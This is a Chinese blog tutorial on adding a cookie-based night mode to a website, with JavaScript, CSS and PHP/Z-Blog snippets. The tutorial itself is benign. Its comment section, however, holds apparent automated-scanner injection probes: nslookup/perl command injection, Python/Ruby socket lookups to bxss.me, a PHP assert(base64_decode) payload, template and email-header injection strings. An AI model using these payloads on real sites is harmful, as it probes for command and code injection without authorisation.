新起点博客小马SEO今天给大家分享如何手动给自己的网站增加一个夜间模式，希望能够帮助大家，还请大家多多关注小马SEO博客。
首先，我们需要在主题模板中打开“footer.php”文件，在“</body></html>”前添加如下代码：
<script type="text/javascript">
function switchNightMode(){
var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
if(night == '0'){
document.body.classList.add('night');
document.cookie = "night=1;path=/"
console.log('夜间模式开启');
}else{
document.body.classList.remove('night');
document.cookie = "night=0;path=/"
console.log('夜间模式关闭');
}
}
</script>
保存文件然后刷新一下就可以了。
如果想要实现自动切换夜间模式，如下代码（直接复制即可）：
<script type="text/javascript">
function switchNightMode(){
var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
if(night == '0'){
document.body.classList.add('night');
document.cookie = "night=1;path=/"
console.log('夜间模式开启');
}else{
document.body.classList.remove('night');
document.cookie = "night=0;path=/"
console.log('夜间模式关闭');
}
} (function(){
if(document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") === ''){
if(new Date().getHours() > 22 || new Date().getHours() < 5){
document.body.classList.add('night');
document.cookie = "night=1;path=/";
console.log('夜间模式自动开启');
}else{
document.body.classList.remove('night');
document.cookie = "night=0;path=/";
console.log('夜间模式自动关闭');
}
}else{
var night = document.cookie.replace(/(?:(?:^|.*;\s*)night\s*\=\s*([^;]*).*$)|^.*$/, "$1") || '0';
if(night == '0'){
document.body.classList.remove('night');
}else if(night == '1'){
document.body.classList.add('night');
}
}
})();</script>
代码中的22和5就是晚上22点开始到第二天的5点结束，其实这段代码并不严谨，为什么这么说呢？此代码是针对没有记录cookies的网站来说有效，一旦手动开启或者关闭过夜间模式，那么这个自动是失效了，除非清空浏览器的cookies，总之这里目前没有办法完美适配（我技术不行），其实我们可以在js做个判断，就是每天的22点时候判断cookies是否是夜间模式，如果不是，弹出对话框询问是否开启夜间模式，如果是就不提示。
然后打开网站的“header.php”文件，我们需要给网站填写一个按钮，以此来手动开启和关闭夜间模式：
<a class="at-night" href="javascript:switchNightMode()" target="_self"></a>
复制如上代码，放在你认为合适的地方，然后保存，登录后台，清空主题模板缓存编译，然后打开首页，测试夜间模式是否有效。
其实教程到这才算是完成一般，因为你在测试的过程中会发现，开启夜间模式并没有效果，，，嗯嗯是的，因为你们没有适配夜间模式的css，这个教程写不出，因为每个主题模板的div框架和css命名不同，无法统一，所以需要您自己去查找对应的class类，然后添加夜间模式的样式，例如：
body.night DIV名称 {
background-color: #263238;
color: #aaa;
}
这样一来开启夜间模式后背景色就换成了黑色，字体是白色，如果网站css框架太多，相信我这绝对是一个大坑，哦对了，防止css样式重叠，建议在css样式表最底下适配夜间模式的代码。
这些都配置完成，前台查看首页，你会发现在夜间模式下会出现闪屏，就是，打开一个页面的瞬间是正常模式，然后在1秒（电脑速度慢的时候可不止1秒）后转换成夜间模式，哇塞，简直就是亮瞎眼有木有？别急，教你一个办法，打开“header.php”文件，在<body>上添加如下代码：（此代码仅限Z-Blog）
<body class="{if GetVars('night','COOKIE') } night{/if}">
其他程序（TP5或者Typecho等）使用这个：
<body class="<?php echo($_COOKIE['night'] == '1' ? 'night' : ''); ?>">
这样就解决闪屏的BUG了，当检测到cookie相关字段时直接输出body的class为night，就可以已防止页面闪烁。河南SEO在这里提醒大家，修改代码之前还是要做好备份，以防万一。
写的非常好，非常详细，感谢博主分享
感谢您的支持~~~
1 [呵呵] [呵呵] [嘻嘻] [嘻嘻] [哈哈] [哈哈] [偷笑] [偷笑] [挖鼻屎] [挖鼻屎] [互粉] [互粉] [吃惊] [吃惊] [疑问] [疑问] [怒火] [怒火] [睡觉] [睡觉] [鼓掌] [鼓掌] [抓狂] [抓狂] [黑线] [黑线] [阴险] [阴险] [懒得理你] [懒得理你] [嘘] [嘘] [亲亲] [亲亲] [可怜] [可怜] [害羞] [害羞] [思考] [思考] [失望] [失望] [挤眼] [挤眼] [委屈] [委屈] [太开心] [太开心] [哈欠] [哈欠] [晕] [晕] [泪] [泪] [困] [困] [悲伤] [悲伤] [衰] [衰] [围观] [围观] [给力] [给力] [囧] [囧] [威武] [威武] [OK] [OK] [赞] [赞]
12345′”\’\”);|]*{
1 [呵呵] [呵呵] [嘻嘻] [嘻嘻] [哈哈] [哈哈] [偷笑] [偷笑] [挖鼻屎] [挖鼻屎] [互粉] [互粉] [吃惊] [吃惊] [疑问] [疑问] [怒火] [怒火] [睡觉] [睡觉] [鼓掌] [鼓掌] [抓狂] [抓狂] [黑线] [黑线] [阴险] [阴险] [懒得理你] [懒得理你] [嘘] [嘘] [亲亲] [亲亲] [可怜] [可怜] [害羞] [害羞] [思考] [思考] [失望] [失望] [挤眼] [挤眼] [委屈] [委屈] [太开心] [太开心] [哈欠] [哈欠] [晕] [晕] [泪] [泪] [困] [困] [悲伤] [悲伤] [衰] [衰] [围观] [围观] [给力] [给力] [囧] [囧] [威武] [威武] [OK] [OK] [赞] [赞] &n919261=v964670
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
response.write(9079550*9849432)
bxss.me
to@example.com>
bcc:009247.22-17074.22.0eff0.18948.2@bxss.me
‘.gethostbyname(lc(‘hitra’.’lhuctamd74991.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(107).chr(68).chr(106).chr(87).’
str(__import__(‘time’).sleep(9))+__import__(‘socket’).gethostbyname(‘hitmeievvmosn74e19.’+’bxss.me’)
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
(nslookup hitcgcrmbivayf8fd0.bxss.me||perl -e “gethostbyname(‘hitcgcrmbivayf8fd0.bxss.me’)”)
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
‘”
|(nslookup hitsraarftkai69de1.bxss.me||perl -e “gethostbyname(‘hitsraarftkai69de1.bxss.me’)”)
“+”A”.concat(70-3).concat(22*4).concat(108).concat(77).concat(98).concat(90)+(require”socket”
Socket.gethostbyname(“hitsk”+”szamvyura6c6d.bxss.me.”)[3].to_s)+”
‘+’A’.concat(70-3).concat(22*4).concat(105).concat(67).concat(114).concat(65)+(require’socket’
Socket.gethostbyname(‘hitqr’+’yogwnycif4a26.bxss.me.’)[3].to_s)+’
comment-ajax.php/.
555
${9999047+10000218}